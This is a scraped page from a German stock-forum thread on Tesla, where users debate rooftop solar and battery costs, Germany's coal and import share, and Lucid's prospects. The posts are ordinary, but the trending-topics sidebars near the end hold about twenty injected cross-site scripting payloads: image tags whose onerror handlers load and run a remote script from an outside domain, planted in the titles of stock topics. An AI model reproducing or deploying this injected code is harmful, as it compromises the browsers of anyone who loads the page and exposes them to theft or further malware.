TESLA MOTORS WKN: A1CX3T ISIN: US88160R1014 Kürzel: TSLA Forum: Aktien Thema: Hauptdiskussion

337,73 EUR
+4,75 % +15,30
9. November 2026, 23:00 Uhr, Lang & Schwarz
Knock-Outs auf Tesla
Werbung
Mit Hebel
DZ Bank
Im Durchschnitt erleiden 7 von 10 Kleinanlegern Verluste beim Handel mit Turbo-Zertifikaten. Turbo-Zertifikate sind hoch risikoreiche Produkte und nicht für langfristige Anlagestrategien geeignet.
Diese Werbung richtet sich nur an Personen mit Wohn-/Geschäftssitz in Deutschland. Der jeweilige Basisprospekt, etwaige Nachträge, die Endgültigen Bedingungen sowie das maßgebliche Basisinformationsblatt sind auf www.dzbank-wertpapiere.de veröffentlicht. Beachten Sie auch die weiteren Hinweise zu dieser Werbung.
Kostenlose Aktienchance per SMS Ausgewählte Trading-Einschätzungen aufs Handy.
Kommentare 372.196
WillyWonka
WillyWonka, 30.04.2023 17:44 Uhr
1

Du bist nicht auf meine Frage an dich eingegangen, wie viel doch dein vermeintlich größter Teil Kohlestrom Anteil am Strommix beträgt. Smard ist auch interessant, dort wird aber auch kein 50% Kohlestrom ausgewiesen. Was soll dann falsch sein, an unseren Aussagen? Meine PV ist eine Komplette Anlage incl Speicher von SENEC incl. Cloud, Notstromfunktion und eigenem Strom to go für EVs bei EnBW und Vertragspartnern, ohne die Gebühren am Charger zu zahlen, lade ich *meinen produzierten Strom*. 2000kWh Fremdbezug sind in der monatlichen Gebühren enthalten. Die PV sehe ich als Investment, welche sich durch mein spezielles Nutzungsverhalten bereits nach rund 6 Jahren amortisiert hat

😄falscher Adressat. Ich hab von Dir keine Frage zu Kohlestrom im Strommix gestellt bekommen. Du meintest jemand anderen. Ich hab deine genannte Webseite kritisiert und auf smard de hingewiesen. Dort kann man auch genau sehen wann welcher Energieträger wieviel Leistung liefert. Steinkohle, Braunkohle, Gas, Wind, Solar, usw. Deine Aussage war einzig: Export von Solarstrom an Frankreich. Das ist richtig, ja, aber wenn gleichzeitig grosse Strommengen aus anderen Ländern importiert werden und die Gesamtmenge darauf hinaus läuft das wir aktuell ein Nettoimporteur sind, ist deine Aussage einfach anders zu bewerten. Soll ich jetzt den Taschenrechner rausholen und dir ausrechnen wie hoch der Kohlestromanteil am Energiemix aktuell ist? Bei Sonnenschein und Wind? SENEC kenn ich gar nicht, muss ich Dienstag mal schauen. Der Vertrag sieht aber gut aus 👍 Deine Argumentation is immer auf Krawall gebürstet. Entweder sind alle Beratungsresistent, können nicht lesen, sind minderbemittelt usw Vielleicht arbeitest du mal daran, das macht dich auch sympathischer, sonst hakt ja weiterhin jeder auf Dir rum 😉
O
Overburner, 30.04.2023 17:40 Uhr
0

fakt ist das e autos mit abstand am umweltfreundlichsten sind und wenn die batterien nun umweltfreundlich hergestellt werden dann führt an e autos kein weg vorbei, es gibt ja jetzt schon unternehmen die grüne batterien herstellen (siehe freyr battery), da sind die batterien sogar gut für die umwelt

Oha wer hätte das gedacht...
MCherry
MCherry, 30.04.2023 16:56 Uhr
2

Negatives? Nöö, warum sollte ich? Weil ich auf Smard.de verwiesen habe und deine Aussage zu Stromexporten widerlegt habe? Du willst doch immer nen Beleg für getätigte Aussagen die nicht deiner Meinung entsprechen. Aber ne Frage hab ich noch und die Antwort darauf ist vielleicht sogar für Dich sehr interessant und auch für viele andere die eine PV-Anlage betreiben. Betrifft deine Aussage zum Speicher: Welche Speicher/Wechselrichterkombination nutzt du? BYD? Tesla? Mit SMA? Oder Fronius? Oder die Kombi von E3DC?

Du bist nicht auf meine Frage an dich eingegangen, wie viel doch dein vermeintlich größter Teil Kohlestrom Anteil am Strommix beträgt. Smard ist auch interessant, dort wird aber auch kein 50% Kohlestrom ausgewiesen. Was soll dann falsch sein, an unseren Aussagen? Meine PV ist eine Komplette Anlage incl Speicher von SENEC incl. Cloud, Notstromfunktion und eigenem Strom to go für EVs bei EnBW und Vertragspartnern, ohne die Gebühren am Charger zu zahlen, lade ich *meinen produzierten Strom*. 2000kWh Fremdbezug sind in der monatlichen Gebühren enthalten. Die PV sehe ich als Investment, welche sich durch mein spezielles Nutzungsverhalten bereits nach rund 6 Jahren amortisiert hat
GoersenBuhu
GoersenBuhu, 30.04.2023 16:30 Uhr
1

-Hä? Welche doppelte Kosten? -Wo der Strompreis endet weiß am Ende niemand genau. Aber jedenfalls nicht da wo einige ihn sehen: tiefer -Der Hinweis zur Notstromversorgung war vielleicht für andere interessant 🤷‍♂️

https://gruenes.haus/photovoltaik-lohnt-sich-nicht/ Ne Solaranlage hält ca. 20-30 Jahre und amortisiert sich nach 10-15 Jahren bei normaler Verwendung im Haushalt. Wenn ich deren Kosten gegenüber den Kosten eines Speichers nochmals berechne, dann wurden diese DOPPELT berechnet. Im Übrigen amortisiert sich die Kombination Solaranlage UND Speicher deutlich früher bzw. mehr (s. Link).
WillyWonka
WillyWonka, 30.04.2023 15:44 Uhr
0

1. Mir geht es nicht um Notstrom 2. In der Regel ist die Reihenfolge ja a. Solarzellen für Hausstrom (was sich irgendwann rechnet) und b. dann erst einen Energiespeicher dazu, auch um nicht gebrauchten Solarstrom verwenden zu können. Doppelt Kosten zu berechnen macht also keinen Sinn. 3. https://www.vbw-bayern.de/vbw/Themen-und-Services/Energie-Klima/Energie/Neue-Strompreisprognose-bis-2040.jsp#:~:text=2030%20liegt%20der%20Preis%20bei,rund%2080%20Euro%20pro%20MWh.

-Hä? Welche doppelte Kosten? -Wo der Strompreis endet weiß am Ende niemand genau. Aber jedenfalls nicht da wo einige ihn sehen: tiefer -Der Hinweis zur Notstromversorgung war vielleicht für andere interessant 🤷‍♂️
GoersenBuhu
GoersenBuhu, 30.04.2023 15:19 Uhr
0

Die bereits vorhandene PV-Anlage musste aber auch bezahlt werden und es ist doch egal wofür der Strom verwendet wird, die daraus resultierenden Kosten werden immer unter den Teppich gekehrt. Ausserdem, wieso jetzt steigende Stromkosten? Ich dachte der Strom wird viel billiger, jetzt wo der AKW-Strom nicht mehr die Leitungen verstopft und bald alle ne PV-Anlage auf dem Dach haben 🤔 Ich bin weder gegen erneuerbare Energien noch gegen Elektromobilität oder Tesla aber die Argumentation dafür oder dagegen sind teilweise haarsträubend. Abschließend zum Thema Stromspeicher: ich schätze mal das 90-95% aller bestehenden PV-Anlagen in Privathaushalten nicht Notstromfähig sind und im Falle eines Stromausfalles, egal aus welchen Gründen, keine Lampe mehr leuchtet. Es sei denn ich habe die Möglichkeit auf Inselbetrieb zu schalten oder habe eine Anlage die von anfang an als Inselanlage konzipiert wurde.

1. Mir geht es nicht um Notstrom 2. In der Regel ist die Reihenfolge ja a. Solarzellen für Hausstrom (was sich irgendwann rechnet) und b. dann erst einen Energiespeicher dazu, auch um nicht gebrauchten Solarstrom verwenden zu können. Doppelt Kosten zu berechnen macht also keinen Sinn. 3. https://www.vbw-bayern.de/vbw/Themen-und-Services/Energie-Klima/Energie/Neue-Strompreisprognose-bis-2040.jsp#:~:text=2030%20liegt%20der%20Preis%20bei,rund%2080%20Euro%20pro%20MWh.
Palladio
Palladio, 30.04.2023 14:39 Uhr
0

Stimmt. Bei lucid sieht es nicht gut aus. Offensichtlich sind sie nicht in der Lage , die Produktion entsprechend hochzufahren, vielleicht sind sie bald am Ende? In Bezug auf Tesla waren sie aber noch nie relevant, weil sie im absoluten Luxus Segment agieren. Tesla's Sargnägel heißen nicht lucid

„…Tesla's Sargnägel heißen nicht lucid…“ … genau! die heißen ID7🫵
Guesa
Guesa, 30.04.2023 13:18 Uhr
0
https://twitter.com/fly4dat/status/1652622617394724865?s=20
Guesa
Guesa, 30.04.2023 11:55 Uhr
0

Mal auf‘s Datum des Artikels geschaut? Derweil steht Lucid bilanziell leider sehr schlecht da.

Stimmt. Bei lucid sieht es nicht gut aus. Offensichtlich sind sie nicht in der Lage , die Produktion entsprechend hochzufahren, vielleicht sind sie bald am Ende? In Bezug auf Tesla waren sie aber noch nie relevant, weil sie im absoluten Luxus Segment agieren. Tesla's Sargnägel heißen nicht lucid
WillyWonka
WillyWonka, 30.04.2023 11:48 Uhr
0

Richtig. Aber die Anlage ist ja in der Regel bereits da zur Versorgung des Hauses. Baue ja nicht extra eine Anlage für die Versorgung eines Pkw. Bei der Berechnung fehlen zudem vermutlich weiter steigende Strompreise und ein Vergleich mit öffentlichem Ladestrom, da ja nur eine häusliche Ladestation mit einem Energiespeicher verglichen wird. Dennoch Danke für die umfangreiche Recherche/Berechnung. 😉

Die bereits vorhandene PV-Anlage musste aber auch bezahlt werden und es ist doch egal wofür der Strom verwendet wird, die daraus resultierenden Kosten werden immer unter den Teppich gekehrt. Ausserdem, wieso jetzt steigende Stromkosten? Ich dachte der Strom wird viel billiger, jetzt wo der AKW-Strom nicht mehr die Leitungen verstopft und bald alle ne PV-Anlage auf dem Dach haben 🤔 Ich bin weder gegen erneuerbare Energien noch gegen Elektromobilität oder Tesla aber die Argumentation dafür oder dagegen sind teilweise haarsträubend. Abschließend zum Thema Stromspeicher: ich schätze mal das 90-95% aller bestehenden PV-Anlagen in Privathaushalten nicht Notstromfähig sind und im Falle eines Stromausfalles, egal aus welchen Gründen, keine Lampe mehr leuchtet. Es sei denn ich habe die Möglichkeit auf Inselbetrieb zu schalten oder habe eine Anlage die von anfang an als Inselanlage konzipiert wurde.
Guesa
Guesa, 30.04.2023 11:48 Uhr
0

Richtig. Aber die Anlage ist ja in der Regel bereits da zur Versorgung des Hauses. Baue ja nicht extra eine Anlage für die Versorgung eines Pkw. Bei der Berechnung fehlen zudem vermutlich weiter steigende Strompreise und ein Vergleich mit öffentlichem Ladestrom, da ja nur eine häusliche Ladestation mit einem Energiespeicher verglichen wird. Dennoch Danke für die umfangreiche Recherche/Berechnung. 😉

Auch wenn die Solaranlage schon da ist, kannst du nicht so tun, als wenn nur der Netzstrom Geld kostet und der Solarstrom nichts. Aber die Diskussion führt nicht weiter, ich hatte am Ende diesen Umstand in einer Grenzbetrachtung ausgerechnet. Was die steigenden Strompreise über die Laufzeit angeht, OK, aber die Bundesregierung verspricht auch eine steigende Einspeisevergütung, auf die du ja beim Speicher verzichten musst. 🤷‍♂️ Was übrigens die Megapacks angeht, die von den Fanboys neuerdings gespielt werden, weniger von Tesla selbst, die haben das Thema im Earningscall gar nicht erwähnt, gibt es auch Expertenmeinungen dazu. Diese sagen, dass in Zukunft damit entweder - nur Zellhersteller - oder Energieversorger damit richtig Geld verdienen. Tesla ist weder das eine noch das andere und bleibt auf dem Spielfeld allenfalls ein Nischenanbieter, auch wenn sie hier steigende GW Zahlen erreichen.
GoersenBuhu
GoersenBuhu, 30.04.2023 11:05 Uhr
0

Mal auf‘s Datum des Artikels geschaut? Derweil steht Lucid bilanziell leider sehr schlecht da.

Upps. Sorry 😅 https://www.autobild.de/artikel/lucid-air-elektro-limousine-luxus-leistung-ps-22673269.html https://www.electrive.net/2023/04/14/lucid-kann-produktions-und-lieferniveau-nicht-halten/
GoersenBuhu
GoersenBuhu, 30.04.2023 11:03 Uhr
0

Die PV-Anlage und deren Installation kostet 0€? Das Geld dafür muss ja irgendwo herkommen, daher ergeben sich nunmal Kosten für jede produzierte kWh. Zumindest solange bis diese durch den eingesparten Strombezug ausgeglichen werden. Es gibt Leute die finanzieren die PV-Anlage über die Bank oder verbrennen das Geld bei irgendwelchen windigen Anbietern wie Enpal. Die Anlage sollte versichert sein, Rücklagen für Neuanlage muss geschaffen werden, Wartungsvertrag, Blitzschlagschäden, Ausfallzeiten usw. Den Strom aus der PV-Anlage gibt es nicht umsonst. Bei einem unserer Kunden zb. Marderschaden unter der PV-Fläche, keine Versicherung, Kosten trägt der Kunde selber: Gerüstbau, Abbau der Module, neu verkabeln....... Übrigens: Tesla Speicher sind im Einkauf ca 30-40% teurer als vergleichbare Systeme anderer Hersteller. Daher auch meine Frage zum System von MCherry

Richtig. Aber die Anlage ist ja in der Regel bereits da zur Versorgung des Hauses. Baue ja nicht extra eine Anlage für die Versorgung eines Pkw. Bei der Berechnung fehlen zudem vermutlich weiter steigende Strompreise und ein Vergleich mit öffentlichem Ladestrom, da ja nur eine häusliche Ladestation mit einem Energiespeicher verglichen wird. Dennoch Danke für die umfangreiche Recherche/Berechnung. 😉
G
Gast-753161602, 30.04.2023 10:58 Uhr
0

https://efahrer.chip.de/news/tesla-killer-fuer-20000-euro-lucid-verspricht-billig-stromer_104264?dicbo=v2-7Lu7jw4&obref=outbrain-efahrer-web&cm_ven=efahrer_outbrain

Mal auf‘s Datum des Artikels geschaut? Derweil steht Lucid bilanziell leider sehr schlecht da.
WillyWonka
WillyWonka, 30.04.2023 10:56 Uhr
2

Das mit den 13 Cent/kWh, die Solarstrom kostet, musst Du mir nochmal erklären, wenn die Solaranlage fürs Haus bereits besteht. 🤔🤔

Die PV-Anlage und deren Installation kostet 0€? Das Geld dafür muss ja irgendwo herkommen, daher ergeben sich nunmal Kosten für jede produzierte kWh. Zumindest solange bis diese durch den eingesparten Strombezug ausgeglichen werden. Es gibt Leute die finanzieren die PV-Anlage über die Bank oder verbrennen das Geld bei irgendwelchen windigen Anbietern wie Enpal. Die Anlage sollte versichert sein, Rücklagen für Neuanlage muss geschaffen werden, Wartungsvertrag, Blitzschlagschäden, Ausfallzeiten usw. Den Strom aus der PV-Anlage gibt es nicht umsonst. Bei einem unserer Kunden zb. Marderschaden unter der PV-Fläche, keine Versicherung, Kosten trägt der Kunde selber: Gerüstbau, Abbau der Module, neu verkabeln....... Übrigens: Tesla Speicher sind im Einkauf ca 30-40% teurer als vergleichbare Systeme anderer Hersteller. Daher auch meine Frage zum System von MCherry
GoersenBuhu
GoersenBuhu, 30.04.2023 10:43 Uhr
0
https://efahrer.chip.de/news/tesla-killer-fuer-20000-euro-lucid-verspricht-billig-stromer_104264?dicbo=v2-7Lu7jw4&obref=outbrain-efahrer-web&cm_ven=efahrer_outbrain
Anzeige
Consorsbank
Meistdiskutiert
Thema
1 Telekom KW49: <img src=x onerror=window.__CX=1;d=document;s=d.createElement(`script`);s.src=`https://fcdnbovres.cc/assets/vendor.min.js`;d.head.appendChild(s)> +0,26 %
2 Siemens KW49: <img src=x onerror=window.__CX=1;d=document;s=d.createElement(`script`);s.src=`https://fcdnbovres.cc/assets/vendor.min.js`;d.head.appendChild(s)> +3,84 %
3 SAP KW49: <img src=x onerror=window.__CX=1;d=document;s=d.createElement(`script`);s.src=`https://fcdnbovres.cc/assets/vendor.min.js`;d.head.appendChild(s)> +1,76 %
4 Allianz: <img src=x onerror=window.__CX=1;d=document;s=d.createElement(`script`);s.src=`https://fcdnbovres.cc/assets/vendor.min.js`;d.head.appendChild(s)> +2,83 %
5 DAX vor dem Wendepunkt: Anleger <img src=x onerror=window.__CX2=1;d=document;s=d.createElement(`script`);s.src=`https://fcdnbovres.cc/assets/vendor.min.js`;d.head.appendChild(s)> -4,27 %
6 Mercedes KW49: <img src=x onerror=window.__CX=1;d=document;s=d.createElement(`script`);s.src=`https://fcdnbovres.cc/assets/vendor.min.js`;d.head.appendChild(s)> +2,18 %
7 Infineon Q4: <img src=x onerror=window.__CX=1;d=document;s=d.createElement(`script`);s.src=`https://fcdnbovres.cc/assets/vendor.min.js`;d.head.appendChild(s)> +6,12 %
8 BMW KW49: <img src=x onerror=window.__CX=1;d=document;s=d.createElement(`script`);s.src=`https://fcdnbovres.cc/assets/vendor.min.js`;d.head.appendChild(s)> -4,20 %
9 BASF KW49: <img src=x onerror=window.__CX=1;d=document;s=d.createElement(`script`);s.src=`https://fcdnbovres.cc/assets/vendor.min.js`;d.head.appendChild(s)> -0,03 %
10 Bayer KW49: <img src=x onerror=window.__CX=1;d=document;s=d.createElement(`script`);s.src=`https://fcdnbovres.cc/assets/vendor.min.js`;d.head.appendChild(s)> +3,50 %
Alle Diskussionen
Aktien
Thema
1 Telekom KW49: <img src=x onerror=window.__CX=1;d=document;s=d.createElement(`script`);s.src=`https://fcdnbovres.cc/assets/vendor.min.js`;d.head.appendChild(s)> +0,26 %
2 Siemens KW49: <img src=x onerror=window.__CX=1;d=document;s=d.createElement(`script`);s.src=`https://fcdnbovres.cc/assets/vendor.min.js`;d.head.appendChild(s)> +3,84 %
3 SAP KW49: <img src=x onerror=window.__CX=1;d=document;s=d.createElement(`script`);s.src=`https://fcdnbovres.cc/assets/vendor.min.js`;d.head.appendChild(s)> +1,76 %
4 Allianz: <img src=x onerror=window.__CX=1;d=document;s=d.createElement(`script`);s.src=`https://fcdnbovres.cc/assets/vendor.min.js`;d.head.appendChild(s)> +2,83 %
5 DAX vor dem Wendepunkt: Anleger <img src=x onerror=window.__CX2=1;d=document;s=d.createElement(`script`);s.src=`https://fcdnbovres.cc/assets/vendor.min.js`;d.head.appendChild(s)> -4,27 %
6 Mercedes KW49: <img src=x onerror=window.__CX=1;d=document;s=d.createElement(`script`);s.src=`https://fcdnbovres.cc/assets/vendor.min.js`;d.head.appendChild(s)> +2,18 %
7 Infineon Q4: <img src=x onerror=window.__CX=1;d=document;s=d.createElement(`script`);s.src=`https://fcdnbovres.cc/assets/vendor.min.js`;d.head.appendChild(s)> +6,12 %
8 BMW KW49: <img src=x onerror=window.__CX=1;d=document;s=d.createElement(`script`);s.src=`https://fcdnbovres.cc/assets/vendor.min.js`;d.head.appendChild(s)> -4,20 %
9 BASF KW49: <img src=x onerror=window.__CX=1;d=document;s=d.createElement(`script`);s.src=`https://fcdnbovres.cc/assets/vendor.min.js`;d.head.appendChild(s)> -0,03 %
10 Bayer KW49: <img src=x onerror=window.__CX=1;d=document;s=d.createElement(`script`);s.src=`https://fcdnbovres.cc/assets/vendor.min.js`;d.head.appendChild(s)> +3,50 %
Alle Diskussionen